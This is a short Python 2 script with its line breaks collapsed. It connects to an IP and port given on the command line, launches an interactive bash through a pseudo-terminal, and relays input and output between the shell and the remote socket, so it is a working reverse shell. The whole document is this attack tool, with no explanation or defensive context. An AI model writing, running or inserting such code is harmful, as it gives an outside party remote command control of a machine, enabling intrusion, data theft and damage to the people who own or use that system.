import sys,socket,os,fcntl,termios,array,select _,ip,port=sys.argv print "Opening connection..." remote = socket.socket() remote.connect((ip,int(port))) print "Launching bash..." pid, fd = os.forkpty() if pid == 0: # CHILD os.execlp('/bin/bash', '-i') # fix window size buf = array.array('h', [0, 0, 0, 0]) fcntl.ioctl(sys.stdout.fileno(), termios.TIOCGWINSZ, buf, True) fcntl.ioctl(fd, termios.TIOCSWINSZ, buf) print "Starting loop..." while 1: avail,_,_ = select.select([fd,remote,sys.stdin], [], []) if fd in avail: data = os.read(fd, 1024) os.write(remote.fileno(),data) os.write(sys.stdout.fileno(), data) if remote in avail: data = os.read(remote.fileno(), 1024) os.write(fd, data) if sys.stdin in avail: data = os.read(sys.stdin.fileno(), 1024) os.write(fd, data)